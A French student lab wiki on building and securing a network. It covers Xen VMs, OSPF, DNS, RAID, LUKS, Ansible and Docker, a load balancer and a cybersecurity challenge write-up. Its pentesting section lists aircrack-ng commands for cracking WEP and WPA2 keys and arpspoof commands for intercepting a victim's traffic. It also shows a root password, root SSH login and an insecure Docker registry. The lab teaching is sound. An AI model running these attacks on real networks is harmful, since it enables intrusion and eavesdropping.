TP sysres IMA5sc 2020/2021 G4
Sommaire
Présentation générale
Ceci est le wiki du tp de PRA de 2020 réalisé par Samuel BENAYED et Théo EVRARD. Au cours de ce TP, de nombreux "exercices" ont pu être réalisés :
- Installation de machine virtuelles sur un serveur (Capbreton)
- Mise ne place d'une architecture réseau redondante reliée à Internet (en partenariat avec les groupes 1 et 14)
- Connexion de notre VM à ce réseau
- Cassage de clé WIFI (WEP et WPA)
- Intrusion au sein d'un service web
- Chiffrement d'une clé USB
L'ensemble de ces exercices nous a permis de mettre en application mais surtout d'approfondir nos connaissances en systèmes et réseaux. Nous tenons à remercier tout particulièrement nos professeurs pour l'aide non négligeable qu'ils nous ont apportée durant les heures de TP ainsi que Guillaume Rouillé pour son implication lors de la mise en place de l'architecture réseau.
Installation de la machine virtuelle
Nous avons installé la VM sur capbreton.plil.info avec la commande suivante :
root@capbreton:~# xen-create-image --hostname=tricholome --ip=100.64.0.18 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force
Installation Summary
Hostname : tricholome
Distribution : buster
MAC Address : 00:16:3E:66:21:C5
IP Address(es) : 100.64.0.18
Root Password : pasglop
Information disques :
--- Logical volume ---
LV Path /dev/storage/BenEvrard1 LV Name BenEvrard1 VG Name storage LV UUID PMUddf-pfpz-CQW9-JDwp-5Bln-OwNV-cLQ2t8 LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 16:37:17 +0100 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:11 --- Logical volume --- LV Path /dev/storage/BenEvrard2 LV Name BenEvrard2 VG Name storage LV UUID peLdWt-86ZX-fai5-tkwS-VsTc-HApM-cnpqNr LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 16:37:20 +0100 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:12
Mise en réseau de la VM
On cherche à donner un accès internet à Tricholome, une attention toute particulière est portée à la redondance au sein du réseau. On a donc l'architecture suivante :
On a donc 2 routeurs (9200 et 6509-E) qui relient le serveur Capbreton au routeur de l'école et ainsi sortir sur internet.
Paramétrage de l'OSPF
Nos routeurs seuls ne nous mèneront pas bien loin, il est nécessaire, pour pouvoir communiquer avec l'extérieur, que ceux-ci disposent des tables de routage des routeurs voisins (notamment celui de l'école) afin de pouvoir orienter correctement nos paquets. Ce protocole de routage porte le nom de OSPF (Open Shortest Path Link) et doit donc être configuré correctement au sein de nos deux routeurs :
En minicom sur nos routeurs :
ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur router ospf 1 # un numéro de processus router-id 10.60.0.10X # un id pour le routeur (X = 1 pour 6509-E et X = 2 pour 9200) log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333) summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé) summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?) redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés redistribute static subnets network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)
Les nouvelles routes ainsi obtenues sont visibles via la commande : show ip route. La réussite de la manipulation est validée par un ping fonctionnel d'une VM vers 193.48.57.48 qui est l'adresse du routeur de l'école
Paramétrage du NAT
Service Internet
Serveur SSH
Autorisation de la connexion SSH en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes
Connexion possible grâce à la commande : ssh root@193.48.57.185
Serveur DNS
Installation de bind9 :
apt install bind9 dnsutils
Modification du fichier /etc/resolv.conf (indique le serveur DNS à utiliser) :
nameserver 127.0.0.1
Modification de /etc/bind/named.conf.local
zone "tricholome.site" IN {
type master;
file "/etc/bind/db.tricholome.site.signed";
allow-transfer { 217.70.177.40; };
};
Configuration du DNS sur gandi.net :
- Ajout de deux External nameservers
ns1.tricholome.site ns6.gandi.net
- Ajout de ns1.tricholome.site : 193.48.57.185 dans Glue records
Sécurisation de site web par certificat
Sécuritsation de serveur DNS par DNSSEC
Pentesting
Exploitation de failles du système
En parallèle des TPs, nous avons réalisé des challenges sur la plateforme Root-me.org afin d'affiner nos compétences
Cassage clé WEP
Les clés WEP utilisent l'algorithme de chiffrement RC4 qui crypte les messages via des vecteurs d'initialisation sur 24 bits. De cette manière en récupérant suffisamment de paquets échangés entre une machine et l'AP on peut récupérer plusieurs paquets chiffrés avec le même vecteur d'initialisation.
Dès lors on peut craquer le code assez facilement en se basant sur des attaques statistiques par exemple.
On démarre l'interface réseau en mode moniteur
airmon-ng start [interface réseau]
On affiche les réseaux disponibles en WEP
airodump-ng --encrypt wep [NomInterface]
On capture les paquets émis par l'AP (il en faut environ 50.000 pour avoir une bonne chance de le craquer, cela devrait offrir suffisamment de collisions)
airodump-ng --write output --channel [channel] -bssid [Adresse MAC AP] [NomInterface]
On casse le code avec
aircrack-ng -x output.cap
Cassage clé WPA2
Pour casser la clé WPA on utilise les commandes suivantes :
airmon-ng start [carte réseau]
On cherche ensuite à scanner l'environnement pour détecter les connexions possibles et leurs BSSID, ESSID ainsi que le canal utilisé :
airodump-ng [carte réseau]
Le crack d'une clé WPA nécessite un handshake entre l'AP et une machine. On récupère donc le handshake avec la commande :
airodump-ng -c[canal] -bssid [Adresse MAC de l'AP] -w output [carte réseau]
Après maximum une quinzaine de minutes on récupère le handshake.
A partir de là il suffit de réaliser une attaque par dictionnaire, nous savions que le code comporte 8 caractères numériques :
crunch 8 8 0123456789 -o dico.txt
Et pour lancer le bruteforce :
aircrack-ng -w dico.txt -b [Adresse MAC de l'AP] output*.cap
La clé est donc 20122222 pour la kracotte04, le bruteforce a duré 43min sur un intel core i5 8265U.
Attaque de l'homme du milieu
L'attaque consiste à usurper l'identité d'une machine par rapport au routeur pour récupérer toutes les données qui transitent entre le routeur et la machine victime.
Pour réaliser cette attaque on utilise les commandes suivantes :
arp -a
Cela nous permet de récupérer les adresses ip du routeur et de la machine.
arpspoof -i eth0 -t <ip routeur> <ip machine> arpspoof -i eth0 -t <ip machine> <ip routeur>
De cette manière on s'immisce entre les deux équipements en remplissant les tables ARP de mauvaises informations et on récupère le trafic.
Afin de rediriger le trafic on utilise :
echo 1 > /proc/sys/net/ipv4/ip_forward
Une fois que toutes ces commandes ont été lancées on attend que la machine victime se connecte à un site http afin de voir le trafic circuler en clair.
On récupère ainsi des informations sensibles de la victime.
Cette attaque ne fonctionne pas si la victime utilise des sites sécurisés avec HTTPS car le protocole HTTPS utilise de la cryptographie asymétrique et les clés privées ne transitent donc pas sur le réseau.
Intrusion sur un serveur d’application Web
Le fichier explicatif est chiffré et disponible ci dessous.
Pour le déchiffrer il faut lancer les commandes suivantes :
wget https://wiki-ima.plil.fr/mediawiki//images/0/09/Intrusion.txt gpg --decrypt Intrusion.txt spécifier le mot de passe root@honey.plil.info
Réalisation
Sécurisation de données
Création des trois partitions 3 sur capbreton :
lvcreate -L1G -n tricholome.raid1 storage lvcreate -L1G -n tricholome.raid2 storage lvcreate -L1G -n tricholome.raid3 storage
Ajout dans /etc/xen/tricholome.cfg :
'phy:/dev/storage/tricholome.raid1,xvda5,w', 'phy:/dev/storage/tricholome.raid2,xvda6,w', 'phy:/dev/storage/tricholome.raid3,xvda7,w'
Reboot de la VM :
xl shut tricholome xl create -c /etc/xen/tricholome.cfg
Sur tricholome, installation de mdadm.
apt instal mdadm
Construction et formatage du volume RAID 5.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 mdadm --monitor --daemonise /dev/md0 mkfs.ext4 /dev/md0
Ajout de ce volume dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2
Raid 5 nous permet de reconstruire d'un disque supprimé à partir de 2 autres disques. Il nous faut au minimum 3 disques. On peut donc supprimer une partition et toujours avoir accès à nos fichiers. On peut noter que pour 3 volumes alloués à Raid5, 1 ne sera pas "réellement utilisable".
Chiffrement de données
On cherche à chiffrer une clef USB.
fdisk -l # on repère la clé USB fdisk /dev/sdb # on formate la clé en une seule partition
Installation de cryptsetup et lvm : apt install cryptsetup lvm2
cryptsetup luksFormat /dev/sdb1 # chiffrement de la partition de la clé USB cryptsetup luksOpen /dev/sdb1 myusbkey # déchiffrement de la partition
On monte la clé USB, on la peuple :
mkdir /mnt/USB mount -t ext4 /dev/mapper/myusbkey /mnt/USB touch /mnt/USB/sameo.txt
Puis on démonte le système de fichier proprement :
umount /mnt/USB cryptsetup luksClose myusbkey
Pour que quelqu'un puisse accéder à notre clef, il doit maintenant renseigné le mot de passe.
Inspection ARP par un élément réseau
Nous avons à notre disposition un Cisco ASA-5506-X qui permet de monitorer le réseau et éviter notamment les attaques de type man in the middle (l'homme du milieu). Nous avions donc pour objectif de brancher l'appareil sur le réseau et d'y connecter deux machines de façon à pouvoir recréer une attaque ARP spoofing. Nous avons rencontré un problème lors de la mise en place de ce dispositif : le Cisco ASA-5506-X n'a pas la fonctionnalité commutateur contrairement au Cisco ASA-5505.
Nous n'avons donc pas pu réaliser cette partie.
Sécurisation WiFi par WPA2-EAP
TP ASR
Architecture de la ferme
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.
vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface auto eth0 iface eth0 inet static address 193.48.57.184 netmask 255.255.255.255 up ip address add dev eth0 100.64.0.24/24 up ip route add default via 100.64.0.2 src 193.48.57.184 down ip address del dev eth0 100.64.0.24/24 down ip route del default via 100.64.0.2 src 193.48.57.184 # The secondary network interface auto eth1 iface eth1 inet static address 192.168.42.19 netmask 255.255.255.0
Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.
A la fin de cette partie nous sommes capables de ping les machines entre elles.
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface auto eth0 iface eth0 inet static address 192.168.42.5/24 gateway 192.168.42.19
Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info search plil.info plil.fr nameserver 192.168.42.19
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.
Clés SSH
Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa
Ces clés sont stocké coté capbreton dans le dossier /.ssh
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement
Installation d'Ansible
Installation via la commande :
apt install ansible
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver] 192.168.42.5 [webservers] 192.168.42.5 192.168.42.2 192.168.42.4 192.168.42.7 192.168.42.9 192.168.42.12
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"
L'étape suivant consiste à tester ansible. Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :
- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip
- name: docker
pip:
name: docker
- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'
- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5
Installation de docker
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :
- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).
Nous avons ensuite créé notre playbook pour déployer nos commandes :
- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"
Création de notre conteneur
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :
FROM httpd:2.4 COPY . /usr/local/apache2/htdocs/ CMD ["httpd", "-D", "FOREGROUND"]
Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .
Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web
Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées) docker ps -a (Affichage des différents containeurs en cours d'exécution)
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"
Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.
{
"insecure-registries" : ["192.168.42.5:5000"]
}
Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver docker push 192.168.42.5:5000/webserver
Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver
Configuration de nos serveurs internes
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :
- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers. Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).
Puis nous avons déployé notre container grâce à notre playbook :
- hosts: webservers
roles:
- new_container
Equilibreur de charge
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :
a2enmod proxy a2enmod proxy_http a2enmod proxy_balancer a2enmod lbmethod_byrequests
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2. Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :
a2enmod status
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :
<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.
Bonus
Participation au challenge Brigitte Friang (DGSE)
Participation en équipe à un challenge de cybersécurité organisé par la DGSE : https://www.defense.gouv.fr/dgse/tout-le-site/operation-brigitte-friang-prets-pour-relever-le-defi
Inscription au challenge :
- 1- Connexion à https://www.challengecybersec.fr :
L'observation du code source de la page nous amène à une nouvelle adresse https://www.challengecybersec.fr/static/message-secret.html contenant un texte et 5 caractères en gras
- 2- Dechiffrement de secret.html :
Il s'agit d'un texte chiffré avec un décalage ASCII de 7. Après déchiffrement on obtient un paragraphe nous expliquant qui était Brigitte Friang. L'observation des 5 caractères en gras nous donne /chat. On se connecte donc à https://www.challengecybersec.fr/chat. On arrive alors sur un portail avec différentes missions à accomplir
- 3- Cryptographie par Antoine Rossignol :
On récupère plusieurs fichiers appartenant à Eve Descartes dont archive_chiffree (qui est donc chiffrée), layout.pdf (qui est protégé par un mot de passe) ainsi que le mail d'information ci-dessous :
En appelant sur le numéro de Eve on entends une succession de "BIP" faisant penser à du code morse. La traduction de ces "BIP" nous donne le mot resistance qui correspond au mot de passe de layout.pdf
L'ouverture de layout.pdf nous montre une photographie au microscope de la puce ayant servi au chiffrement de archive_chiffree. On a en réalité la photographie de la zone servant à stocker la clé de chiffrement.
Selon l'hypothèse de départ (fusible coupé = 0 ou 1) plusieurs clés sont possibles. En prenant l'hypothèse fusible coupé = 1 on obtient la clé suivante :
0100000101000101010100110010000000110010001101010011011000100000010001010100001101000010001000000010000000100000001 0000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000
La conversion de ce code binaire en code ascii nous donne la chaine de caractères suivante qui est clairement un indice pour aider au déchiffrement de l'archive.
A l'aide d'un script python et du module pycrypto (pip install pycrypto), on déchiffre notre archive et obtiens le mot de passe b a:e z que l'on transmet à Antoine Rossignol. Ce mot de passe valide le challenge et nous permet ENFIN d'accéder au portail d'inscription à l'adresse suivante : https://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3/
Challenges réalisés :
Sur les 14 challenges proposés, 6 ont était réalisés ce qui nous a permis d'obtenir 600 point est de terminer 110e sur 785
Alone Musk :
Elevation de privilège au sein d'une machine et d'une application en python
Sous l'océan :
L'analyse du dump mémoire nous permet de récupérer l'historique de localisation. On remarque 19 "locations" sauvegardée avec entre 2 et n coordonnées pour chacune. En positionnant les coordonnées sur geogebra et en les reliant DANS L'ORDRE, on obtient le flag : DGSESIEE{OC34N} dessiné à l'écran
Definition :
Quelle heure est-il ? On transmet le nombre de seconde écoulée depuis 1970 via la commande suivante
date +%s | nc challengecybersec.fr 6660 edit: Merci Monsieur Redon
Keypad sniffeur :
Polyglotte :
Ascii UART :
La plupart des ressources ou code créé afin de résoudre ces challenges sont disponibles dans l'archive ci contre : Fichier:DGSE chall.zip
Participation au challenge DGHack (DGA)
Inscription bien plus simple que pour le challenge de la DGSE. Après avoir créé un compte sur https://www.dghack.fr/ on obtient un accès aux différents challenges.
Challenges réalisés
Internal Support 1 :
Time for something different :
